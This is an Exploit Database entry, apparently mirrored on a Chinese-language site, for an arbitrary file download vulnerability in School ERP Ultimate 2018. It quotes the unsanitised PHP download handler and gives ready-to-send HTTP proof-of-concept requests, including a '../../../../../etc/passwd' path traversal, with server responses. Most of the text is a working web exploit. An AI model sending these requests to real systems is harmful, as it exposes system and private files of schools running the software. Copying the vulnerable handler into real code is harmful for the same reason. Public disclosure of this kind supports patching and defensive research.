School ERP Ultimate 2018 – Arbitrary File Download

• Exploit Database
• 16 阅读

• 作者： Ihsan Sencan
  日期： 2018-10-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45642/

• # Exploit Title: School ERP Ultimate 2018 - Arbitrary File Download
  # Dork: N/A
  # Date: 2018-10-21
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: http://freeschoolerp.com/
  # Software Link: http://freeschoolerp.com/schoolerp_30Nov2017_free.zip
  # Software Link: https://sourceforge.net/projects/free-school-management-system/files/latest/download
  # Version: 2018
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  
  # POC: 
  # 1)
  # http://localhost/[PATH]/student_staff/download.php?document=[FILE]
  # http://localhost/[PATH]/office_admin/download.php?document=[FILE]
  # 
  # /[PATH]/student_staff/download.php
  # /[PATH]/office_admin/download.php
  # ....
  # if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
  # $file = $_REQUEST['document'];
  # header("Content-type: application/force-download");
  # header("Content-Transfer-Encoding: Binary");
  # header("Content-length: ".filesize($file));
  # header("Content-disposition: attachment; filename=\"".$file."\"");
  # readfile($file);
  # exit;
  # }
  # ....
  
  GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Sun, 21 Oct 2018 00:30:01 GMT
  Server: Apache
  Content-Transfer-Encoding: Binary
  Content-Disposition: attachment; filename="download.php"
  Content-Length: 337
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: application/force-download
  
  GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Sun, 21 Oct 2018 00:31:34 GMT
  Server: Apache
  Content-Transfer-Encoding: Binary
  Content-Disposition: attachment; filename="../../../../../etc/passwd"
  Content-Length: 46368
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: application/force-download